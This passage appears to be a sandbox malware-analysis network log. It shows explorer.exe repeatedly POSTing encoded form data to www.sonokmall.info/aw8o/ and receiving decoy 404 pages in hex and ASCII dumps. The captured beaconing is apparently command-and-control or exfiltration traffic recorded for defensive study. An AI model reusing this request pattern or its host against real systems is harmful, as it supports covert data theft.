63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 31 20 32 38 38 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 34 35 2e 38 22 20 63 79 3d 22 38 36 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 35 20 32 39 38 2e 35 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="445.8" cy="867.7" r="3.7" transform="translate(-346.5 298.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx=
Aug 29, 2023 22:44:50.549799919 CEST	432	IN	Data Raw: 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 30 2e 31 20 32 39 33 2e 34 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 Data Ascii: "438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="
Aug 29, 2023 22:44:50.549891949 CEST	434	IN	Data Raw: 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 38 37 2e 39 22 20 63 79 3d 22 38 31 30 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 Data Ascii: ll: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="489.8" cy="791.1" r="3.7" transform="translate(-306.7 310.1) rotate(-27.1)" style="fil
Aug 29, 2023 22:44:50.549968004 CEST	435	IN	Data Raw: 32 20 33 31 38 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 31 39 2e 37 22 20 63 79 3d 22 38 31 Data Ascii: 2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7" transform="translate(-313.4 326.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="534.7" cy="822.9" r="3.7" transform="translate(-316.3
Aug 29, 2023 22:44:50.550024033 CEST	436	IN	Data Raw: 37 39 30 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 33 20 33 34 37 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 Data Ascii: 790.5" r="3.7" transform="translate(-297.3 347.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="589.7" cy="797.2" r="3.7" transform="translate(-298.5 356.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="590" cy="782
Aug 29, 2023 22:44:50.550080061 CEST	437	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 34 38 22 20 63 79 3d 22 37 34 37 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 36 39 2e 34 20 33 37 37 2e 35 29 20 72 Data Ascii: <circle cx="648" cy="747.5" r="3.7" transform="translate(-269.4 377.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="643.5" cy="727.1" r="3.7" transform="translate(-260.6 373.2) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:44:50.550174952 CEST	439	IN	Data Raw: 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 39 34 2e 37 22 20 63 79 3d 22 37 36 37 2e 39 22 20 72 Data Ascii: 1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="594.7" cy="767.9" r="3.7" transform="translate(-284.6 355.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="574.7" cy="773.4" r="3.7" transform="translate(-289.3 346.9
Aug 29, 2023 22:44:50.550239086 CEST	440	IN	Data Raw: 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 37 2e 33 20 33 33 36 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 Data Ascii: ="3.7" transform="translate(-247.3 336.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="559.1" cy="669.7" r="3.7" transform="translate(-243.8 328.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="558.2" cy="686.9" r=
Aug 29, 2023 22:44:50.550292015 CEST	442	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 35 36 2e 33 22 20 63 79 3d 22 37 30 33 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 35 39 2e 37 20 33 33 30 2e 39 29 Data Ascii: <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="552.7" cy="720.2" r="3.7" transform="translate(-267.5 331.1) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:44:50.550348043 CEST	443	IN	Data Raw: 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 37 31 37 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 Data Ascii: e(-27.1)" style="fill: #ffe029"/> <circle cx="501" cy="717.2" r="3.7" transform="translate(-271.8 307.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.1" cy="704.7" r="3.7" transform="translate(-267.6 299.4) rotate(-
Aug 29, 2023 22:44:50.724311113 CEST	444	IN	Data Raw: 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 30 2e 32 20 32 39 36 2e 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c Data Ascii: rm="translate(-240.2 296.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="478.7" cy="654.5" r="3.7" transform="translate(-245.7 290.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="477.7" cy="634.1" r="3.7" transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.11.20	49990	162.0.239.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:44:52.945442915 CEST	471	OUT	POST /aw8o/ HTTP/1.1 Host: www.sonokmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.sonokmall.info Referer: http://www.sonokmall.info/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 31 79 61 53 47 76 59 53 31 73 55 49 58 33 46 78 41 61 6c 41 35 57 6d 62 36 42 68 67 2b 71 6f 67 4b 69 50 31 65 72 71 4e 48 56 7a 44 75 41 4c 4c 67 46 31 61 42 55 68 73 70 36 76 68 4a 52 6c 6c 63 2b 7a 72 59 32 6d 55 50 46 59 76 30 75 46 5a 7a 6f 68 56 4d 4d 69 2b 51 48 57 70 74 36 39 48 45 54 78 47 56 35 31 7a 6c 6b 44 71 63 2b 75 73 6e 77 38 42 45 39 59 53 39 49 71 6b 69 72 71 68 2b 68 7a 42 49 75 66 4a 31 70 44 47 76 79 6b 31 43 62 36 5a 4a 34 76 31 6c 4f 47 66 63 66 4f 5a 76 77 62 53 6b 54 59 6e 36 6a 56 52 4c 6f 75 51 6c 42 35 77 52 44 6f 6c 50 4a 66 5a 64 37 49 69 72 41 78 6a 7a 74 77 30 74 54 7a 53 64 67 51 34 4d 46 6b 47 53 57 79 4e 53 43 63 49 6b 48 67 33 30 44 67 50 52 43 31 57 6b 2f 2f 53 45 36 34 4f 4f 6d 50 53 52 65 6b 47 69 65 48 51 6e 79 73 6d 70 6d 45 52 68 78 69 35 76 38 67 39 5a 42 64 6b 59 7a 61 70 55 4b 67 7a 44 65 52 78 36 45 37 6d 4e 2b 37 75 2b 2b 74 72 73 38 7a 61 58 59 54 4c 55 33 64 4b 4a 44 58 51 55 36 58 48 44 4d 43 45 36 5a 6b 58 56 6f 38 2f 51 6c 44 74 73 52 39 58 41 48 42 64 43 47 33 39 47 32 6d 46 56 6e 38 50 47 50 35 74 76 5a 66 30 54 79 54 51 2b 69 6a 4b 76 34 55 33 47 70 57 54 5a 53 6a 44 46 33 4f 56 31 52 37 36 43 55 47 35 5a 53 2f 49 4c 49 64 37 79 54 68 4d 55 79 43 2b 71 2f 4e 6e 39 67 69 69 63 32 6c 79 4e 4f 4f 6a 6b 58 78 46 71 6f 31 37 55 2f 65 6b 52 51 57 61 57 74 31 51 59 4b 35 64 4d 68 62 51 73 37 51 6c 41 78 2b 76 6f 55 69 4d 73 51 55 69 45 53 56 77 32 4c 73 62 37 6d 74 38 39 66 74 61 79 58 49 74 46 58 35 37 67 54 53 39 30 2b 65 78 48 31 63 55 2b 49 37 6c 73 2f 6f 53 51 56 57 4f 51 2f 73 3d Data Ascii: 5Nag0d=1yaSGvYS1sUIX3FxAalA5Wmb6Bhg+qogKiP1erqNHVzDuALLgF1aBUhsp6vhJRllc+zrY2mUPFYv0uFZzohVMMi+QHWpt69HETxGV51zlkDqc+usnw8BE9YS9Iqkirqh+hzBIufJ1pDGvyk1Cb6ZJ4v1lOGfcfOZvwbSkTYn6jVRLouQlB5wRDolPJfZd7IirAxjztw0tTzSdgQ4MFkGSWyNSCcIkHg30DgPRC1Wk//SE64OOmPSRekGieHQnysmpmERhxi5v8g9ZBdkYzapUKgzDeRx6E7mN+7u++trs8zaXYTLU3dKJDXQU6XHDMCE6ZkXVo8/QlDtsR9XAHBdCG39G2mFVn8PGP5tvZf0TyTQ+ijKv4U3GpWTZSjDF3OV1R76CUG5ZS/ILId7yThMUyC+q/Nn9giic2lyNOOjkXxFqo17U/ekRQWaWt1QYK5dMhbQs7QlAx+voUiMsQUiESVw2Lsb7mt89ftayXItFX57gTS90+exH1cU+I7ls/oSQVWOQ/s=
Aug 29, 2023 22:44:53.213855982 CEST	472	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:44:53 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 31 20 32 38 38 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 34 35 2e 38 22 20 63 79 3d 22 38 36 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 35 20 32 39 38 2e 35 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="445.8" cy="867.7" r="3.7" transform="translate(-346.5 298.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx=
Aug 29, 2023 22:44:53.213928938 CEST	474	IN	Data Raw: 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 30 2e 31 20 32 39 33 2e 34 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 Data Ascii: "438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="
Aug 29, 2023 22:44:53.214027882 CEST	475	IN	Data Raw: 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 38 37 2e 39 22 20 63 79 3d 22 38 31 30 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 Data Ascii: ll: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="489.8" cy="791.1" r="3.7" transform="translate(-306.7 310.1) rotate(-27.1)" style="fil
Aug 29, 2023 22:44:53.214107037 CEST	476	IN	Data Raw: 32 20 33 31 38 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 31 39 2e 37 22 20 63 79 3d 22 38 31 Data Ascii: 2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7" transform="translate(-313.4 326.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="534.7" cy="822.9" r="3.7" transform="translate(-316.3
Aug 29, 2023 22:44:53.214163065 CEST	477	IN	Data Raw: 37 39 30 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 33 20 33 34 37 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 Data Ascii: 790.5" r="3.7" transform="translate(-297.3 347.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="589.7" cy="797.2" r="3.7" transform="translate(-298.5 356.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="590" cy="782
Aug 29, 2023 22:44:53.214221001 CEST	479	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 34 38 22 20 63 79 3d 22 37 34 37 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 36 39 2e 34 20 33 37 37 2e 35 29 20 72 Data Ascii: <circle cx="648" cy="747.5" r="3.7" transform="translate(-269.4 377.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="643.5" cy="727.1" r="3.7" transform="translate(-260.6 373.2) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:44:53.214762926 CEST	480	IN	Data Raw: 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 39 34 2e 37 22 20 63 79 3d 22 37 36 37 2e 39 22 20 72 Data Ascii: 1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="594.7" cy="767.9" r="3.7" transform="translate(-284.6 355.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="574.7" cy="773.4" r="3.7" transform="translate(-289.3 346.9
Aug 29, 2023 22:44:53.214833975 CEST	482	IN	Data Raw: 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 37 2e 33 20 33 33 36 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 Data Ascii: ="3.7" transform="translate(-247.3 336.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="559.1" cy="669.7" r="3.7" transform="translate(-243.8 328.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="558.2" cy="686.9" r=
Aug 29, 2023 22:44:53.214889050 CEST	483	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 35 36 2e 33 22 20 63 79 3d 22 37 30 33 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 35 39 2e 37 20 33 33 30 2e 39 29 Data Ascii: <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="552.7" cy="720.2" r="3.7" transform="translate(-267.5 331.1) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:44:53.214942932 CEST	484	IN	Data Raw: 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 37 31 37 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 Data Ascii: e(-27.1)" style="fill: #ffe029"/> <circle cx="501" cy="717.2" r="3.7" transform="translate(-271.8 307.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.1" cy="704.7" r="3.7" transform="translate(-267.6 299.4) rotate(-
Aug 29, 2023 22:44:53.388720036 CEST	486	IN	Data Raw: 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 30 2e 32 20 32 39 36 2e 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c Data Ascii: rm="translate(-240.2 296.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="478.7" cy="654.5" r="3.7" transform="translate(-245.7 290.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="477.7" cy="634.1" r="3.7" transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.11.20	49991	162.0.239.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:44:55.647773981 CEST	516	OUT	POST /aw8o/ HTTP/1.1 Host: www.sonokmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.sonokmall.info Referer: http://www.sonokmall.info/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 31 79 61 53 47 76 59 53 31 73 55 49 58 33 46 78 41 61 6c 41 35 57 6d 62 36 42 68 67 2b 71 6f 67 4b 69 50 31 65 72 71 4e 48 56 37 44 75 79 7a 4c 68 6d 64 61 41 55 68 73 71 36 76 67 4a 52 6c 34 63 2b 72 76 59 32 61 71 50 48 77 76 30 38 74 5a 7a 62 5a 56 48 73 69 2f 63 6e 57 52 6d 61 39 54 45 54 